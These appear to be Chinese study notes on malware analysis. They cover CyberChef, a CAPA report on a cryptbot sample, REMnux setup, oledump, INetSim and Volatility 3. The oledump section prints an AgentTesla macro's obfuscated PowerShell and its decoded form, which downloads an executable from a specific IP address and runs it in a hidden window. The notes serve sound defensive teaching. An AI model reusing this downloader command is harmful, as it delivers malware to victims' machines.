CyberChef
CyberChef 是一款简单易用的网页应用程序,旨在帮助你在浏览器中完成各种“网络”操作任务。可以把它想象成数据领域的瑞士军刀——就像一个工具箱,里面装满了各种用于执行特定任务的工具。这些任务涵盖了从简单的编码等各种操作。
在线访问: 直接在网页浏览器中打开 CyberChef
离线访问: 从此链接下载最新版本文件即可
CyberChef 由四个部分组成,每个部分都包含不同的组件或功能。
- Operations
- Recipe
- Input
- Output
以下是一些您在网络安全之旅中可能会用到的操作。
| 操作(Operation) | 说明(Description) | 示例(Example) |
|---|---|---|
| From Morse Code(摩斯密码解码) | 将摩斯密码(Morse Code)转换为大写字母和数字。 | - .... .-. . .- - ... → THREATS(使用默认参数时) |
| URL Encode(URL 编码) | 将 URL 中的特殊字符编码为百分号编码(Percent-Encoding) ,以便 URI/URL 正确传输。 | https://a.com → https%3A%2F%2Fa%2Ecom(启用 Encode all special chars 参数时) |
| To Base64(转换为 Base64) | 将原始数据编码为 ASCII Base64 字符串。 | This is fun! → VGhpcyBpcyBmdW4h |
| To Hex(转换为十六进制) | 将输入字符串转换为十六进制字节,并按指定分隔符进行分隔。 | This Hex conversion is awesome! → 54 68 69 73 20 48 65 78 20 63 6f 6e 76 65 72 73 69 6f 6e 20 69 73 20 61 77 65 73 6f 6d 65 21 |
| To Decimal(转换为十进制) | 将输入数据转换为字符对应的十进制 ASCII 数值数组。 | This Decimal conversion is awesome! → 84 104 105 115 32 68 101 99 105 109 97 108 32 99 111 110 118 101 114 115 105 111 110 32 105 115 32 97 119 101 115 111 109 101 33 |
| ROT13(ROT13 凯撒密码) | 一种简单的凯撒替换加密算法,默认将字母旋转 13 位。 | Digital Forensics and Incident Response → Qvtvgny Sberafvpf naq Vapvqrag Erfcbafr |
可以将鼠标悬停在特定操作上,直接查看其工作原理。这将显示示例或描述以及指向维基百科的链接。
使用 CyberChef 的思路
Extractors
| 操作(Operation) | 说明(Description) |
|---|---|
| Extract IP addresses(提取 IP 地址) | 从输入内容中提取所有 IPv4 和 IPv6 地址。 |
| Extract URLs(提取 URL) | 从输入内容中提取所有统一资源定位符(URL) 。必须包含协议(如 HTTP、HTTPS、FTP 等),否则会产生大量误报(False Positives) 。 |
| Extract email addresses(提取电子邮件地址) | 从输入内容中提取所有电子邮件地址(Email Address) 。 |
| Extract domains(提取域名) | 从输入内容中提取所有域名(Domains) 。 |
Date and Time
| 操作(Operation) | 说明(Description) |
|---|---|
| From UNIX Timestamp(UNIX 时间戳转日期时间) | 将 UNIX 时间戳(UNIX Timestamp)转换为日期时间字符串(Datetime String) 。 |
| To UNIX Timestamp(日期时间转 UNIX 时间戳) | 将 UTC(协调世界时)格式的日期时间字符串解析并转换为对应的 UNIX 时间戳(UNIX Timestamp) 。 |
Data Format
| 操作(Operation) | 说明(Description) | 示例(Example) |
|---|---|---|
| From Base64(Base64 解码) | 将 ASCII Base64 编码的数据解码为原始内容。 | V2VsY29tZSB0byB0cnloYWNrbWUh → Welcome to tryhackme! |
| URL Decode(URL 解码) | 将 **URI/URL 百分号编码(Percent-Encoding)**恢复为原始字符。 | https%3A%2F%2Fgchq%2Egithub%2Eio%2FCyberChef%2F → https://gchq.github.io/CyberChef/ |
| From Base85(Base85 解码) | Base85 是一种用于编码任意字节数据的表示方式,通常比 Base64 更高效。本操作将 ASCII Base85 字符串解码为原始数据。 | BOu!rD]j7BEbo7 → hello world |
| From Base58(Base58 解码) | Base58 是一种用于编码任意字节数据的表示方式。相比 Base64,它移除了容易混淆的字符(如 l、I、0、O),提高了人工阅读的可读性。本操作用于将 Base58 字符串解码为原始数据。 | AXLU7qR → Thm58 |
| To Base62(转换为 Base62) | Base62 使用 0–9、A–Z、a–z 共 62 个字符编码任意字节数据。由于进制较高,生成的字符串通常比十进制或十六进制更短。 | Thm62 → 6NiRkOY |
CAPA
CAPA(通用工件分析平台)是由 FireEye Mandiant 团队开发的一款工具。它旨在识别可执行文件中存在的功能。例如 网络通信、文件操作、进程注入等等。
在此处下载 capa 独立二进制文件的稳定版本
| 选项(Option) | 说明(Description) | 示例语法(Sample Syntax) |
|---|---|---|
-h 或 --help | 显示帮助信息 并退出程序。 | capa -h |
-v 或 --verbose | 启用详细(Verbose) 输出模式,显示更丰富的分析结果。 | capa.exe .\cryptbot.bin -v |
-vv 或 --vverbose | 启用非常详细(Very Verbose) 输出模式,显示最完整、最详细的分析结果。 | capa.exe .\cryptbot.bin -vv |
运行 capa 工具
capa.exe .\cryptbot.bin
读取文件内容
Get-Content cryptbot.txt
基本信息
第一个数据块包含文件的基本信息, 其中包括:
| 字段 | 分析 |
|---|---|
| analysis = static | CAPA 对文件进行了静态分析,没有运行程序。 |
| os = windows | 目标平台是 Windows。 |
| format = pe | 文件格式是 PE(Portable Executable) ,即 Windows 可执行文件。 |
| arch = i386 | 32 位 x86 程序。 |
这是一个 Windows 平台的 32 位 PE 可执行程序,CAPA 采用静态分析进行了能力识别。
MITRE ATT&C
MITRE ATT&CK 是一个全球通用的攻击行为知识库,用来系统化描述黑客在真实攻击中使用的战术、技术和操作手法
| ATT&CK 战术 | 对应能力 |
|---|---|
| DEFENSE EVASION(防御规避) | 使用文件混淆、移除工具特征以及虚拟机/沙箱检测来躲避安全软件分析。 |
| DISCOVERY(发现) | 能够枚举或发现文件和目录。 |
| EXECUTION(执行) | 可以调用 PowerShell 执行命令,并支持共享模块(DLL) 加载执行。 |
| IMPACT(影响) | 存在资源劫持(Resource Hijacking) 行为,例如滥用系统资源进行计算。 |
| PERSISTENCE(持久化) | 可通过 At 或 Windows 计划任务(Scheduled Task) 在系统中建立持久化机制,实现重启后继续运行。 |
该程序具备反检测、执行命令、建立持久化以及文件搜索能力
MBC
MBC(Malware Behavior Catalog)是一个用于描述恶意软件行为的分类体系,用来标准化标记恶意软件在内存、文件、进程和网络等方面的具体行为
程序具有:VM 检测, Base64, XOR, HTTP 通信, 文件操作, 创建进程, PowerShell, 内存分配
MBC Objective
| MBC-Objective | Description |
|---|---|
| Anti-Behavioral Analysis(反行为分析) | 恶意软件试图通过沙箱(Sandbox) 、调试器(Debugger) 等工具的检测与规避,阻碍行为分析,从而避免被发现。 |
| Anti-Static Analysis(反静态分析) | 恶意软件通过混淆(Obfuscation) 、加壳(Packing) 、加密(Encryption) 等方式增加静态分析难度,使安全分析人员更难识别其恶意行为和意图。 |
| Collection(信息收集) | 恶意软件收集目标主机或网络中的各类信息,例如系统信息、文件、用户数据等。 |
| Command and Control(命令与控制,C2) | 恶意软件通过命令与控制(C2)服务器、P2P 网络等方式与受感染主机建立通信,以接收命令、窃取数据或执行其他恶意操作。 |
| Credential Access(凭据访问) | 恶意软件的主要目标是窃取账户凭据,如用户名、密码、令牌等认证信息。 |
| Defense Evasion(防御规避) | 恶意软件尝试绕过系统中的各种安全检测与防护机制,避免被发现、阻止或清除。 |
| Discovery(发现) | 恶意软件收集目标系统或网络环境的详细信息,包括硬件、软件、网络配置等,为后续攻击提供依据。 |
| Execution(执行) | 恶意软件在目标系统上执行未经授权的命令或代码,例如运行恶意程序、下载载荷、执行脚本等。 |
| Exfiltration(数据泄露) | 恶意软件从受害系统中窃取并传输敏感数据,如个人信息、财务数据、商业机密等。 |
| Impact(影响) | 恶意软件通过破坏、篡改或干扰系统和数据,对受害者造成损害,例如文件破坏、数据加密、系统瘫痪等。 |
| Lateral Movement(横向移动) | 恶意软件在网络中传播到其他主机,可通过远程访问、共享资源、钓鱼邮件等方式扩散。 |
| Persistence(持久化) | 恶意软件建立长期驻留机制,确保系统重启后仍能继续运行,不易被清除。 |
| Privilege Escalation(权限提升) | 恶意软件获取更高权限(如管理员或 SYSTEM 权限),以访问敏感资源或完全控制目标系统。 |
| PROCESS(进程) | 涉及进程相关行为,包括但不限于创建进程(Create Process) 、设置线程上下文(Set Thread Context) 、终止进程(Terminate Process) 以及检查互斥体(Check Mutex) 等。 |
| MEMORY(内存) | 涉及内存相关行为,包括但不限于分配内存(Allocate Memory) 、修改内存保护属性(Change Memory Protection)以及释放内存(Free Memory) 等。 |
| COMMUNICATION(通信) | 涉及网络通信相关行为,包括但不限于 DNS、FTP、HTTP、ICMP、SMTP 等协议的网络通信。 |
| DATA(数据) | 涉及数据处理相关行为,包括但不限于检查字符串(Check String) 、数据压缩(Compress Data) 、数据解码(Decode Data)和数据编码(Encode Data) 等。 |
MBC Behaviors
| Objective(目标) | Behavior(行为) | 标识符(Identifier) | 说明(Explanation) |
|---|---|---|---|
| ANTI-BEHAVIORAL ANALYSIS(反行为分析) | Lab Machine Detection(实验环境检测) | B0009 | 恶意软件会检查自己是否运行在虚拟机(Virtual Machine)或其他分析环境中。在系统侦察过程中,它会检查各种用户信息和系统特征(Artifacts) ,以判断是否处于实验或沙箱环境。 |
| ANTI-STATIC ANALYSIS(反静态分析) | Executable Code Obfuscation(可执行代码混淆) | B0032 | 恶意软件对可执行代码进行有意混淆,以阻碍静态代码分析。这种混淆可能作用于程序的代码段(Text Section)和数据段(Data Section) ,增加逆向分析难度。 |
| EXECUTION(执行) | Command and Scripting Interpreter(命令与脚本解释器) | E1059 | 恶意软件利用命令解释器或脚本解释器执行恶意命令、脚本或程序。例如在 Windows 上使用 cmd.exe、PowerShell,或在 Unix/Linux 上使用 Bash,也可能利用 Python、Perl、JavaScript 等脚本语言。 |
| DISCOVERY(发现) | File and Directory Discovery(文件和目录发现) | E1083 | 恶意软件能够枚举文件和目录,搜索目标系统中特定位置的文件,为后续窃取数据或执行其他操作做准备。 |
| ANTI-STATIC ANALYSIS(反静态分析) 、DEFENSE EVASION(防御规避) | Obfuscated Files or Information(混淆文件或信息) | E1027 | 恶意软件通过编码(Encoding) 、**加密(Encryption)**或其他混淆技术隐藏文件或信息,使其更难被分析,也可能对恶意软件自身进行编码或加密。 |
| MEMORY(内存) | Allocate Memory(分配内存) | C0007 | 恶意软件通常会分配内存,用于解包(Unpack) 自身或执行后续恶意代码。 |
| PROCESS(进程) | Create Process(创建进程) | C0017 | 恶意软件可通过 WMI、Shellcode 等方式创建新进程,也可以创建挂起进程(Suspended Process) 。 |
| COMMUNICATION(通信) | HTTP Communication(HTTP 通信) | C0002 | 恶意软件能够主动发起 HTTP 网络通信,与远程服务器交换数据或接收命令。 |
| DATA(数据) | Check String(检查字符串) | C0019 | 恶意软件能够检查字符串的特征,例如判断是否为 ASCII 字符串、是否包含信用卡号码以及字符串长度等。 |
| DATA(数据) | Encode Data(数据编码) | C0026 | 恶意软件能够使用 Base64、XOR 等方式对数据进行编码或加密。 |
| FILE SYSTEM(文件系统) | Create Directory(创建目录) | C0046 | 恶意软件能够在文件系统中创建目录。 |
| FILE SYSTEM(文件系统) | Delete File(删除文件) | C0047 | 恶意软件能够删除文件,例如清除自身痕迹或破坏数据。 |
| FILE SYSTEM(文件系统) | Read File(读取文件) | C0051 | 恶意软件能够读取文件内容,用于获取配置信息、窃取数据等。 |
| FILE SYSTEM(文件系统) | Write File(写入文件) | C0052 | 恶意软件能够向文件中写入数据,例如释放载荷、修改配置或生成恶意文件。 |
| Executable Code Obfuscation(可执行代码混淆) | Argument Obfuscation(参数混淆) | B0032.020 | 恶意软件将 API 调用中的数字或字符串参数在运行时动态计算,而不是直接写在代码中,从而增加静态分析难度。 |
| Executable Code Obfuscation(可执行代码混淆) | Stack Strings(栈字符串) | B0032.017 | 恶意软件在栈(Stack) 上动态构造并解密字符串,使用后立即销毁,以避免在程序中留下明显的字符串引用。 |
| HTTP Communication(HTTP 通信) | Read Header(读取 HTTP 请求头/响应头) | C0002.014 | 恶意软件能够读取 HTTP Header(请求头或响应头)中的信息,用于通信或获取服务器返回的数据。 |
| Encode Data(数据编码) | Base64 | C0026.001 | 恶意软件可使用 Base64 对数据进行编码。 |
| Encode Data(数据编码) | XOR | C0026.002 | 恶意软件可使用 XOR(异或) 算法对数据进行编码或简单加密。 |
| Obfuscated Files or Information(混淆文件或信息) | Encoding - Standard Algorithm(标准算法编码) | E1027.m02 | 恶意软件使用标准编码算法(如 Base64)对恶意样本、文件或其他信息进行编码,以增加分析难度。 |
Namespace
Namespace(命名空间)是对规则进行分类的层级标签,用来按“攻击行为类型”组织检测规则,比如 anti-analysis、communication、execution 等,方便理解样本属于哪一类行为
程序可以:创建目录, 删除文件, 读取文件, 写入文件
| 顶级命名空间(Top-Level Namespace,TLN) | 说明(Explanation) |
|---|---|
| anti-analysis(反分析) | 包含用于检测恶意软件规避分析行为的规则,例如代码混淆(Obfuscation) 、加壳(Packing) 、反调试(Anti-Debugging) 等。 |
| collection(信息收集) | 包含与数据收集相关的规则,用于识别恶意软件枚举和收集数据(如文件、系统信息等),通常为后续数据窃取(Exfiltration) 做准备。 |
| communication(通信) | 包含与网络通信行为相关的规则,例如数据发送与接收、命令与控制(C2)通信以及其他网络活动。 |
| compiler(编译器) | 包含用于识别编译环境或编译器的规则,例如判断程序是否由 MSVC、GCC、Go、Rust 等编译器构建,可作为程序的“编译指纹”。 |
| data-manipulation(数据处理) | 包含与数据转换相关的规则,例如字符串加密(String Encryption) 、数据编码(Data Encoding) 等行为。 |
| executable(可执行文件) | 包含与可执行文件属性相关的规则,例如 PE 节(PE Sections) 、**调试信息(Debug Info)**等。 |
| host-interaction(主机交互) | 包含恶意软件与主机系统交互的相关规则,例如读取、写入、创建、删除、修改文件和目录 等行为。 |
| impact(影响) | 包含与恶意软件可能造成的危害或影响相关的规则,例如建立远程访问、数据泄露、数据破坏或修改等。 |
| internal(内部) | 包含 CAPA 内部使用的规则,不面向分析人员或报告输出,仅用于规则开发和执行过程。 |
| lib(库) | 提供用于构建其他规则的基础模块(Building Blocks) ,相当于 CAPA 规则的公共组件。 |
| linking(链接) | 包含识别程序在运行过程中链接或动态加载外部库的规则,例如 OpenSSL、Zlib 等第三方库。识别这些依赖有助于分析恶意软件功能,也有助于发现潜在漏洞。 |
| load-code(加载代码) | 包含与动态加载或执行代码相关的规则,例如**运行时代码注入(Runtime Code Injection)**等行为。 |
| malware-family(恶意软件家族) | 包含与特定恶意软件家族相关的规则,用于识别其特征或“签名”,帮助对恶意软件进行分类和检测。 |
| nursery(孵化区) | CAPA 的规则测试区,用于存放尚未成熟、仍在完善中的规则。 |
| persistence(持久化) | 包含与维持访问权限相关的规则,例如注册表启动项、计划任务、自启动服务等,用于帮助恶意软件长期驻留系统。 |
| runtime(运行时) | 包含用于识别程序运行平台或开发语言的规则,例如判断程序是否运行于 .NET、Java、Python 等运行时环境。 |
| targeting(目标定位) | 包含与**ATM(自动取款机)**相关行为的规则,用于识别针对 ATM 系统的恶意软件行为。 |
Capability
| Capability(功能) | 顶级命名空间(TLN) | 命名空间(Namespace) | Rule YAML 文件 | 说明(Notes) |
|---|---|---|---|---|
| reference anti-VM strings(引用反虚拟机字符串) | Anti-Analysis(反分析) | anti-vm/vm-detection | reference-anti-vm-strings.yml | 可查看该 Namespace 下的所有规则。 |
| reference anti-VM strings targeting VMWare(引用针对 VMware 的反虚拟机字符串) | Anti-Analysis | anti-vm/vm-detection | reference-anti-vm-strings-targeting-vmware.yml | 可查看该 Namespace 下的所有规则。 |
| reference anti-VM strings targeting VirtualBox(引用针对 VirtualBox 的反虚拟机字符串) | Anti-Analysis | anti-vm/vm-detection | reference-anti-vm-strings-targeting-virtualbox.yml | 可进一步查看对应的 TLN(Top-Level Namespace) 。 |
| reference HTTP User-Agent string(引用 HTTP User-Agent 字符串) | Communication(通信) | http/client | reference-http-user-agent-string.yml | 可查看该 Namespace 下的所有规则。 |
| check HTTP status code(检查 HTTP 状态码) | Communication | http | check-http-status-code.yml | 可查看该 Namespace 下的所有规则。 |
| reference Base64 string(引用 Base64 字符串) | Data Manipulation(数据处理) | encoding/base64 | reference-base64-string.yml | 可查看该 Namespace 下的所有规则。 |
| encode data using XOR(使用 XOR 编码数据) | Data Manipulation | encoding/xor | encode-data-using-xor.yml | 可查看该 Namespace 下的所有规则。 |
| contain a Thread Local Storage (.tls) section(包含 TLS 节) | Executable(可执行文件) | pe/section/tls | contain-a-thread-local-storage-tls-section.yml | 可进一步查看对应 TLN 的其他规则。 |
| get common file path(获取常见文件路径) | Host-Interaction(主机交互) | file-system | get-common-file-path.yml | 可进一步查看对应 TLN 的其他规则。 |
| create directory(创建目录) | Host-Interaction | file-system/create | create-directory.yml | 可进一步查看对应 TLN 的其他规则。 |
| delete file(删除文件) | Host-Interaction | file-system/delete | delete-file.yml | 可查看该 Namespace 下的所有规则。 |
| read file on Windows(读取 Windows 文件) | Host-Interaction | file-system/read | read-file-on-windows.yml | 可查看该 Namespace 下的所有规则。 |
| write file on Windows(写入 Windows 文件) | Host-Interaction | file-system/write | write-file-on-windows.yml | 可查看该 Namespace 下的所有规则。 |
| get thread local storage value(获取 TLS 值) | Host-Interaction | process | get-thread-local-storage-value.yml | 位于 Nursery(实验规则区),规则仍在完善中。 |
| allocate or change RWX memory(分配或修改 RWX 内存) | Host-Interaction | process/inject | allocate-or-change-rwx-memory.yml | 可查看该 Namespace 下的所有规则。 |
| create process on Windows(在 Windows 上创建进程) | Host-Interaction | process/create | create-process-on-windows.yml | 可查看该 Namespace 下的所有规则。 |
| reference cryptocurrency strings(引用加密货币字符串) | Impact(影响) | impact/cryptocurrency | reference-cryptocurrency-strings.yml | 位于 Nursery(实验规则区)。 |
| link function at runtime on Windows(运行时动态链接函数) | Linking(链接) | runtime-linking | link-function-at-runtime-on-windows.yml | 可查看该 Namespace 下的所有规则。 |
| parse PE header(解析 PE 文件头) | Load-Code(加载代码) | load-code/pe | parse-pe-header.yml | 可查看该 Namespace 下的所有规则。 |
| resolve function by parsing PE exports(解析 PE 导出表解析函数) | Load-Code | load-code/pe | resolve-function-by-parsing-pe-exports.yml | 可查看该 Namespace 下的所有规则。 |
| run PowerShell expression(执行 PowerShell 表达式) | Load-Code | load-code/powershell | run-powershell-expression.yml | 可查看该 Namespace 下的所有规则。 |
| schedule task via at(通过 at 创建计划任务) | Persistence(持久化) | scheduled-tasks | schedule-task-via-at.yml | 可进一步查看对应 TLN 的其他规则。 |
| schedule task via schtasks(通过 schtasks 创建计划任务) | Persistence | scheduled-tasks | schedule-task-via-schtasks.yml | 可进一步查看对应 TLN 的其他规则。 |
MAEC
MAEC(Malware Attribute Enumeration and Characterization)是一种恶意软件描述标准,用于统一表示恶意软件的行为特征、能力和分类,便于不同安全工具之间共享和分析恶意软件信息
| MAEC 值(MAEC Value) | 说明(Description) |
|---|---|
| Launcher(启动器) | 表现出能够触发特定操作的行为,其行为模式与恶意软件的启动或执行过程类似。通常用于启动其他程序、脚本或恶意载荷(Payload) 。 |
| Downloader(下载器) | 表现出下载并执行其他文件的行为。这种行为通常出现在功能较复杂的恶意软件中,用于从远程服务器获取并运行额外的恶意程序或组件。 |
样本分析结论
该样本是一个 Windows 32 位 PE 可执行文件,CAPA 对其进行了静态能力分析。
从 ATT&CK 映射来看,该程序具备:
- 防御规避(Defense Evasion) :检测虚拟机、使用字符串混淆。
- 执行(Execution) :执行 PowerShell、加载共享模块。
- 发现(Discovery) :搜索文件和目录。
- 持久化(Persistence) :通过 At 或 Windows 计划任务实现长期驻留。
- 影响(Impact) :存在资源劫持能力。
从 MBC 行为分析来看,该程序支持:
- HTTP 网络通信。
- 使用 Base64、XOR 对数据进行编码。
- 创建新进程。
- 分配内存。
- 创建、读取、写入和删除文件。
从 Capability 来看,还发现程序:
- 检测 VMware 和 VirtualBox 等虚拟环境。
- 使用 Stack Strings 隐藏字符串。
- 申请 RWX 内存,具有加载或注入代码的能力。
- 通过解析 PE 导出表动态解析 API,以绕过安全监控。
- 可执行 PowerShell,并通过计划任务实现持久化。
综合判断
综合以上特征,该程序具有明显的恶意软件行为特征,尤其表现出 Loader(加载器) 或 Downloader(下载器) 的能力:能够规避分析、动态加载代码、联网通信、执行命令并建立持久化机制。仅凭 CAPA 输出还不能断定其具体家族,但可以初步判断其具有较高的恶意风险,建议结合动态分析(如沙箱运行)、网络流量分析和逆向分析进一步确认其真实行为。
重要程度
| 优先级 | 内容 | 是否建议记忆 |
|---|---|---|
| ⭐⭐⭐⭐⭐ | Basic Information(os、arch、format、analysis) | 必须会 |
| ⭐⭐⭐⭐⭐ | ATT&CK Tactic / Technique | 必须会 |
| ⭐⭐⭐⭐☆ | Capability | 必须重点理解 |
| ⭐⭐⭐☆☆ | MBC(Objective、Behavior) | 理解即可,不必背编号 |
| ⭐⭐☆☆☆ | MAEC | 知道用途即可 |
| ⭐☆☆☆☆ | Namespace、Rule YAML 文件名 | 基本不用记 |
REMnux
REMnux(Reverse Engineering Malware Linux)是一套专门用于恶意软件分析和逆向工程的 Linux 发行版,主要面向安全研究人员、应急响应人员和恶意软件分析人员。
一个预装了大量恶意软件分析工具的 Ubuntu/Linux 系统
安装好之后,里面已经集成了数百种安全分析工具,例如:
| 类别 | 常用工具 | 作用 |
|---|---|---|
| 静态分析 | CAPA、strings、exiftool | 分析文件内容和功能 |
| 逆向工程 | Ghidra、Radare2 | 反汇编、逆向分析程序 |
| 网络分析 | Wireshark、tcpdump | 捕获和分析网络流量 |
| 恶意软件分析 | YARA、FLOSS | 特征匹配、字符串提取 |
| 文件分析 | binwalk、foremost | 固件分析、文件恢复 |
| 内存分析 | Volatility | 分析内存镜像 |
| 脚本分析 | CyberChef、JSDetox | 分析编码、混淆和恶意脚本 |
安装
在新的 Ubuntu 系统上运行以下命令,从 REMnux 网站下载 REMnux 安装程序:
curl -O https://REMnux.org/remnux
验证下载文件的 SHA-256 哈希值,确保其与预期值匹配:
c1e2dbc7191c4c3382deea2c5ecc40d729c271b7d6b8897caa5cbeb7e3e7d203
要生成文件的哈希值,请运行:
sha256sum remnux
运行以下命令设置 REMnux 安装程序:
chmod +x remnux
sudo mv remnux /usr/local/bin
运行 REMnux 安装程序
sudo remnux install --mode=addon
addon模式会避免对现有系统的外观和体验进行任何可能改变其外观和体验的修改。
如果 REMnux 安装程序出现错误,请运行以下命令诊断问题:
remnux results此命令显示安装结果并突出显示任何失败之处。
REMnux 安装完成后,输入以下命令重启新的 REMnux 系统:
sudo reboot
以容器方式运行 REMnux
本地交互
将本地目录映射到容器的 /home/remnux/files 目录
docker run --rm -it \
-u remnux \
-v <local_directory>:/home/remnux/files \
remnux/remnux-distro:noble \
bash
一直保持容器运行
docker run -d \
--name remnux \
-v ~/malware:/home/remnux/files \
remnux/remnux-distro:noble \
sleep infinity
然后进入容器
docker exec -it remnux bash
SSH 和图形界面访问
docker run -d -p 22:22 remnux/remnux-distro:noble
文件分析 Oledump.py
Oledump.py 主要用于分析 Office 文档中的 OLE 结构,例如:
- Word (.doc)
- Excel (.xls)
- PowerPoint (.ppt)
- MSI 安装包
- 含有 VBA 宏 的 Office 文件
- 嵌入的 OLE 对象
which oledump.py
oledump.py -h
oledump.py --version
运行该命令 oledump.py agenttesla.xlsm 请参考下面的终端输出
- M:存在一个 宏,此数据流为
'VBA/ThisWorkbook'
运行该命令oledump.py agenttesla.xlsm -s 4 并使用参数查看感兴趣的实际数据流,其中-s参数是 的缩写-select ,数字四(4)表示感兴趣的数据流位于第四个位置(A4: M 688 'VBA/ThisWorkbook')。
--vbadecompress 使用此参数后,oledump 会自动将找到的任何压缩的 VBA 宏解压缩成更易读的格式,从而更容易分析宏的内容。
oledump.py agenttesla.xlsm -s 4 --vbadecompress
我们不需要读完整个脚本,只需要熟悉一些字符和命令即可。我们关注的是Sqtnew的价值,因为如果你查看脚本,会发现其中包含一个公网 IP 地址、一个 PDF 文件和一个 .exe 文件。
Sqtnew = "^p*o^*w*e*r*s^^*h*e*l^*l* *^-*W*i*n*^d*o*w^*S*t*y*^l*e* *h*i*^d*d*^e*n^* *-*e*x*^e*c*u*t*^i*o*n*pol^icy* *b*yp^^ass*;* $TempFile* *=* *[*I*O*.*P*a*t*h*]*::GetTem*pFile*Name() | Ren^ame-It^em -NewName { $_ -replace 'tmp$', 'exe' } �Pass*Thru; In^vo*ke-We^bRe*quest -U^ri ""http://193.203.203.67/rt/Doc-3737122pdf.exe"" -Out*File $TempFile; St*art-Proce*ss $TempFile;"
Sqtnew = Replace(Sqtnew, "*", "")
Sqtnew = Replace(Sqtnew, "^", "")
复制Sqtnew的第一个值并将其粘贴到CyberChef 的输入区域gchq.github.io/CyberChef/
"powershell -WindowStyle hidden -executionpolicy bypass; $TempFile = [IO.Path]::GetTempFileName() | Rename-Item -NewName { $_ -replace 'tmp$', 'exe' } PassThru; Invoke-WebRequest -Uri ""http://193.203.203.67/rt/Doc-3737122pdf.exe"" -OutFile $TempFile; Start-Process $TempFile;"
- 在PowerShell运行该
-WindowStyle参数可以控制执行脚本或命令时 PowerShell 窗口的显示方式。在本例中,hidden这意味着PowerShell窗口对用户不可见。 - 默认情况下,PowerShell出于安全考虑,限制脚本执行。此
-executionpolicy参数允许你覆盖此策略。bypass意味着执行策略将被暂时忽略,允许任何脚本不受限制地运行。 -Uri要检索的 Web 资源的 URL。在本例中,脚本Doc-3737122pdf.exe从http://193.203.203.67/rt/ 下载资源-OutFile参数指定下载内容将保存到的本地文件。在本例中,Doc-3737122pdf.exe 将保存到 $TempFile。Start-Process用于执行在 Web 请求后存储的$TempFile已下载文件。
当文档
agenttesla.xlsm打开时,一个宏将会运行!该宏包含一个 VBA 脚本。该脚本将运行并执行 PowerShell 命令来下载一个名为“Doc-3737122pdf.exe从http://193.203.203.67/rt/将其保存到变量 $TempFile 中,然后执行或开始运行此变量中的文件,该文件是一个二进制文件或 .exe 文件。Doc-3737122pdf.exe是攻击者常用的一种逃避早期检测的手段。
网络分析 INetSim
INetSim 是互联网服务仿真套件,用于在本地模拟 HTTP、DNS、FTP 等网络服务,从而让恶意软件在隔离环境中进行网络通信行为测试与分析,而不会真正连接外部互联网
修改改 INetSim 配置,让 INetSim 在模拟 DNS 服务时,把所有域名解析请求统一“指向本机(伪造服务器)”,从而让恶意软件以为解析成功并把流量留在分析环境中
sudo nano /etc/inetsim/inetsim.conf并查找该值#dns_default_ip 0.0.0.0
删除注释# ,然后将dns_default_ip的值更改为机器 IP 地址
保存文件CRTL + O,按 Enter 键,然后使用 退出CTRL + X
使用cat /etc/inetsim/inetsim.conf | grep dns_default_ip检查ns_default_ip是否修改成功
最后,运行命令sudo inetsim启动该工具
运行命令后,请确保在结果底部看到“Simulation running.”这句话,并忽略“http_80_tcp - failed!” 。
在虚拟机中,浏览器访问 REMnux 的 IP 地址https://10.49.163.209。系统会提示安全风险;忽略该提示,单击 “高级” ,然后单击“接受风险并继续”。
完成后,会被重定向到 INetSim 的主页!
一种常见的恶意软件行为是下载另一个二进制文件或脚本。我们将尝试通过从 INetsim 获取另一个文件来模拟这种行为。我们可以通过命令行界面 (CLI) 或浏览器来完成此操作,但为了更贴近实际,我们使用 CLI。使用以下命令:sudo wget https://10.49.163.209/second_payload.zip --no-check-certificate
也可以尝试下载另一个文件。例如:sudo wget https://10.49.163.209/second_payload.ps1 --no-check-certificate
这些都是假文件!我们在这里所做的,是 模仿恶意软件的行为,它会尝试连接到服务器或 URL,然后 下载可能包含另一个恶意软件的辅助文件。
连接报告
返回 REMnux 虚拟机并停止 INetSim。默认情况下,它会生成一份捕获连接的报告。该报告通常保存在 /var/log/inetsim/report/ 目录中。
这些是工具运行时的日志。我们可以看到与 URL 建立的连接、使用的协议和方法。还可以看到下载的模拟文件。
证据预处理 Vol3
数字取证中最常见的调查实践之一是 证据预处理(Evidence Preprocessing) 。这一过程通常包括运行分析工具,并将分析结果保存为 文本(Text) 或 JSON 文件,以便后续分析和报告编写。
当分析人员处理内存镜像(Memory Image) 作为证据时,通常会使用 Volatility 工具。Volatility 已预装在 REMnux 虚拟机中,可用于识别和提取内存镜像中的各种数字证据(Artifacts) ,并将分析结果保存为文本文件,供进一步分析。
此外,分析人员还可以编写或运行包含 Volatility 不同参数的脚本,自动执行多项分析任务,从而快速完成证据预处理,提高调查效率。
Vol3 可以从内存镜像中提取大量信息,例如:
| 分析内容 | 说明 |
|---|---|
| 进程(Processes) | 查看当时运行了哪些进程。 |
| 网络连接(Network Connections) | 查看建立了哪些网络连接。 |
| DLL 模块 | 查看进程加载了哪些 DLL。 |
| 命令行(Command Line) | 查看进程启动时使用的命令。 |
| 注册表(Registry) | 提取 Windows 注册表信息。 |
| 文件对象(Files) | 查看内存中打开或访问过的文件。 |
| 用户信息 | 查看登录用户、会话等信息。 |
| 恶意代码 | 检测代码注入、隐藏进程等可疑行为。 |
Vol3(Volatility 3)是一款内存取证工具,用于分析内存镜像,从中提取进程、网络连接、命令行、DLL、注册表等运行时证据,是数字取证和恶意软件分析中最常用的工具之一。
我们将使用 Volatility 3 工具版本。不过,我们不会深入探讨结果的调查和分析部分——这部分内容足以写一本书!
以下是我们将要用到的一些参数或插件。我们将重点介绍 Windows 插件。
windows.pstree.PsTreewindows.pslist.PsListwindows.psscan.PsScanwindows.cmdline.CmdLinewindows.filescan.FileScanwindows.dlllist.DllListwindows.malfind.Malfind
PsTree
用于以树状结构显示进程之间的父子关系(Process Tree)
vol3 -f wcry.mem windows.pstree.PsTree
PsList
用于查看系统在获取内存镜像时正在运行的进程,是内存取证中分析系统活动的基础插件
vol3 -f wcry.mem windows.pslist.PsList
PsScan
用于扫描内存中的所有进程对象,可以发现运行中的进程、已结束的进程,以及被隐藏的进程
vol3 -f wcry.mem windows.psscan.PsScan
CmdLine
用于查看进程启动时使用的命令行参数(Command Line)
vol3 -f wcry.mem windows.cmdline.CmdLine
FileScan
用于扫描内存中的文件对象(File Objects) ,找出系统当前或曾经打开、创建、访问过的文件
vol3 -f wcry.mem windows.filescan.FileScan
DllList
用于列出指定进程或所有进程加载的 DLL(动态链接库)
vol3 -f wcry.mem windows.dlllist.DllList
Malfind
用于检测内存中的可疑代码注入
vol3 -f wcry.mem windows.malfind.Malfind
其他插件
